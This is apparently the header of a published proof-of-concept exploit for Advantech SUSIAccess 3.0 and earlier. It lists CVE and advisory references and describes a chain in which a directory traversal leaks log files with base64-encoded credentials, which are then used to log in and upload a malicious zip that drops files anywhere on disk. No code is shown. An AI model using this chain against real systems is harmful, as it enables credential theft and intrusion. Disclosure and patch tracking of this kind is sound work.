Exploit Title: Advantech SUSIAccess RecoveryMgmt File Upload
Date: 07/31/17
Exploit Author: james fitts
Vendor Homepage: http://www.advantech.com/
Version: Advantech SUSIAccess <= 3.0
Tested on: Windows 7 SP1
Relavant Advisories:
ZDI-16-630
ZDI-16-628
CVE-2016-9349
CVE-2016-9351
BID-94629
ICSA-16-336-04

Notes:
This PoC will upload AcronisInstaller.exe to the root of C:\
You can modify this to drop files where ever you want on the
filesystem.

By default the script will use the directory traversal vuln
to pull down the log files and parse for the base64 encoded
credentials. Once it has that, it will use them to log into
the application and upload the malicious zip file.
